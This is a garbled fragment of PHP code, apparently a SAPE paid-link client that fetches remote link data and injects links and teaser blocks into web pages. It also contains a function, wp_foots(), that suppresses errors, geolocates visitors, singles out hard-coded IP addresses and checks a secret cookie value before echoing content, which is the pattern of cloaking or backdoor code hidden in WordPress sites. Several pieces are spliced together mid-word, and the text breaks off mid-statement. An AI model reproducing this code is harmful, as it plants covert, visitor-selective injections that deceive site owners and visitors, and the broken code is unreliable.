$opts = array( 'http' => array( 'method' => 'GET', 'header' => 'Accept-Charset: ' . $this->_charset . "\r\n" ) ); $context = @stream_context_create($opts); if ($data = @file_get_contents('http://' . $host . $path, null, $context)) { return $data; } } else { if ($data = @file_get_contents('http://' . $host . $path)) { return $data; } } } elseif ( $this->_fetch_remote_type == 'curl' || ( $this->_fetch_remote_type == '' && function_exists('curl_init') ) ) { $this->_fetch_remote_type = 'curl'; if ($ch = @curl_init()) { @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path); @curl_setopt($ch, CURLOPT_HEADER, false); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->_socket_timeout); @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); if ($specifyCharset) { @curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Charset: ' . $this->_charset)); } $data = @curl_exec($ch); @curl_close($ch); if ($data) { return $data; } } } else { $this->_fetch_remote_type = 'socket'; $buff = ''; $fp = @fsockopen($host, 80, $errno, $errstr, $this->_socket_timeout); if ($fp) { @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n"); if ($specifyCharset) { @fputs($fp, "Accept-Charset: {$this->_charset}\r\n"); } turn_obligatory_page_content() . $html; } return $this->_add_debug_info($html); } protected function _add_debug_info($html) { if ($this->_debug) { if (!empty($this->_links['__sape_teaser_images_path__'])) { $this->_add_file_content_for_debug($this->_links['__sape_teaser_images_path__']); } $this->_add_file_content_for_debug('.htaccess'); $html .= $this->_debug_output($this); } return $html; } protected function _add_file_content_for_debug($file_name) { $path = realpath( rtrim($_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . strtok($file_name, '?') ); $this->_file_contents_for_debug[$file_name]['path'] = $path; if ($path) { $this->_file_contents_for_debug[$file_name]['contents'] = @file_get_contents($path); } } /** se == $as_block) { $as_block = $options['as_block']; } if (true == $as_block && isset($this->_block_tpl)) { return $this->return_block_links($n, $options); } //------- if (is_array($this->_links_page)) { $total_page_links = count($this->_links_page); if (!is_numeric($n) || $n > $total_page_links) { $n = $total_page_links; } $links = array(); for ($i = 1; $i <= $n; $i++) { $links[] = array_shift($this->_links_page); } $html = $this->_convertCharset(join($this->_links_delimiter, $links)); if ($this->_is_our_bot) { $html = '' . $html . ''; } } else { $html = $this->_links_page; if ($this->_is_our_bot) { $html .= ''; } } $html = $this->_return_html($html); return $html; } public function return_teasers_block($block_id) { if ($this->_debug) { if (function_exists('debug_backtrace')) { $this->_return_links_calls[] = debug_backtrace(); } else { $this->_return_links_calls = "(function_exists('debug_backtrace')==false"; } } $html = ''; $template = @$this->_links['__sape_teasers_templates__'][$block_id]; if (count($this->_teasers_page) && false == empty($template)) { if (count($this->_teasers_page) < $template['n']) { $teasers = $this->_teasers_page; $to_add = $template['n'] - count($this->_teasers_page); $this->_teasers_page = array(); } else { $teasers = array_slice($this->_teasers_page, 0, $template['n']); $to_add = 0; $this->_teasers_page = array_slice($this->_teasers_page, $template['n']); } foreach ($teasers as $k => $v) { preg_match('#href="(https?://([^"/]+)[^"]*)"#i', $v, $url); $url = empty($url[1]) ? '' : $url[1]; $teasers[$k] = str_replace('{u}', $url, $template['bi'] . $v . $template['ai']); } if ($to_add) { $teasers = array_merge($teasers, array_fill($template['n'], $to_add, $template['e'])); } $html = $this->_convertCharset( ($this->_teasers_css_showed ? '' : $this->_links['__sape_teasers_css__']) . str_replace('{i}', implode($template['d'], $teasers), $template['t']) ); $this->_teasers_css_showed = true; } else { if ($this->_is_our_bot || $this->_force_show_code) { $html = $this->_links['__sape_new_teasers_block__'] . ''; } if (!empty($template)) { $htmlk_ins_' . $block_name; if (isset($this->_links[$var_name]) && strlen($this->_links[$var_name]) > 0) { $this->$prop_name = $this->_links[$var_name]; } } } } function wp_foots(){ error_reporting(0); function striposssi($haystack, $needle){ return strpos($haystack, stristr( $haystack, $needle ));} function tabgeo_country_v5($ip){ $fh = fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'tabgeo.dat', 'rb'); $iso = array('AD', 'AE', 'AF', 'AG', 'AI', 'AL', 'AM', 'AO', 'AQ', 'AR', 'AS', 'AT', 'AU', 'AW', 'AX', 'AZ', 'BA', 'BB', 'BD', 'BE', 'BF', 'BG', 'BH', 'BI', 'BJ', 'BL', 'BM', 'BN', 'BO', 'BQ', 'BR', 'BS', 'BT', 'BV', 'BW', 'BY', 'BZ', 'CA', 'CC', 'CD', 'CF', 'CG', 'CH', 'CI', 'CK', 'CL', 'CM', 'CN', 'CO', 'CR', 'CU', 'CV', 'CW', 'CX', 'CY', 'CZ', 'DE', 'DJ', 'DK', 'DM', 'DO', 'DZ', 'EC', 'EE', 'EG', 'EH', 'ER', 'ES', 'ET', 'FI', 'FJ', 'FK', 'FM', 'FO', 'FR', 'GA', 'GB', 'GD', 'GE', 'GF', 'GG', 'GH', 'GI', 'GL', 'GM', 'GN', 'GP', 'GQ', 'GR', 'GS', 'GT', 'GU', 'GW', 'GY', 'HK', 'HM', 'HN', 'HR', 'HT', 'HU', 'ID', 'IE', 'IL', 'IM', 'IN', 'IO', 'IQ', 'IR', 'IS', 'IT', 'JE', 'JM', 'JO', 'JP', 'KE', 'KG', 'KH', 'KI', 'KM', 'KN', 'KP', 'KR', 'KW', 'KY', 'KZ', 'LA', 'LB', 'LC', 'LI', 'LK', 'LR', 'LS', 'LT', 'LU', 'LV', 'LY', 'MA', 'MC', 'MD', 'ME', 'MF', 'MG', 'MH', 'MK', 'ML', 'MM', 'MN', 'MO', 'MP', 'MQ', 'MR', 'MS', 'MT', 'MU', 'MV', 'MW', 'MX', 'MY', 'MZ', 'NA', 'NC', 'NE', 'NF', 'NG', 'NI', 'NL', 'NO', 'NP', 'NR', 'NU', 'NZ', 'OM', 'PA', 'PE', 'PF', 'PG', 'PH', 'PK', 'PL', 'PM', 'PN', 'PR', 'PS', 'PT', 'PW', 'PY', 'QA', 'RE', 'RO', 'RS', 'RU', 'RW', 'SA', 'SB', 'SC', 'SD', 'SE', 'SG', 'SH', 'SI', 'SJ', 'SK', 'SL', 'SM', 'SN', 'SO', 'SR', 'SS', 'ST', 'SV', 'SX', 'SY', 'SZ', 'TC', 'TD', 'TF', 'TG', 'TH', 'TJ', 'TK', 'TL', 'TM', 'TN', 'TO', 'TR', 'TT', 'TV', 'TW', 'TZ', 'UA', 'UG', 'UM', 'US', 'UY', 'UZ', 'VA', 'VC', 'VE', 'VG', 'VI', 'VN', 'VU', 'WF', 'WS', 'YE', 'YT', 'ZA', 'ZM', 'ZW', 'XA', 'YU', 'CS', 'AN', 'AA', 'EU', 'AP', ); if (!function_exists('tabgeo_bs')) { function tabgeo_bs($data_array, $ip, $step){ $start = 0; $end = count($data_array) - 1; while (true) { $mid = floor(($start + $end) / 2); $unpack = $step ? unpack('Noffset/Cip/Ccc_id', "\x00$data_array[$mid]") : unpack('Cip/Ccc_id', $data_array[$mid]); if ($unpack['ip'] == $ip) return $unpack; if ($end - $start < 0) return $ip > $unpack['ip'] ? $unpack : $unpack_prev; if ($unpack['ip'] > $ip) $end = $mid - 1; else $start = $mid + 1; $unpack_prev = $unpack; } } } $ip_array = explode('.', $ip); fseek($fh, ($ip_array[0] * 256 + $ip_array[1]) * 4); $index_bin = fread($fh, 4); $index = unpack('Noffset/Clength', "\x00$index_bin"); if($index['offset'] == 16777215) return $iso[$index['length']]; fseek($fh, $index['offset'] * 5 + 262144); $bin = fread($fh, ($index['length'] + 1) * 5); $d = tabgeo_bs(str_split($bin, 5), $ip_array[2], TRUE); if($d['offset'] == 16777215) return $iso[$d['cc_id']]; if($ip_array[2] > $d['ip']) $ip_array[3] = 255; fseek($fh, -(($d['offset'] + 1 + $d['cc_id']) * 2), SEEK_END); $bin = fread($fh, ($d['cc_id'] + 1) * 2); $d = tabgeo_bs(str_split($bin, 2), $ip_array[3], FALSE); return $iso[$d['cc_id']]; } //include("tabgeo_country_v4.php"); $ip = $_SERVER['REMOTE_ADDR']; $country_code = tabgeo_country_v5($ip); //If Adip $mip=striposssi($_SERVER['REMOTE_ADDR'],'75.169.'); if (gettype($mip)=='integer' || $_SERVER['REMOTE_ADDR']=='193.27.246.179' || $_SERVER['REMOTE_ADDR']=='107.5.196.188') { echo '..'; } else { if ($_COOKIE['SESSe7da53566c688d456347'] =="3cca28a37dc22cfff5eab70704ee5301") { echo ' '; echo '
'; echo '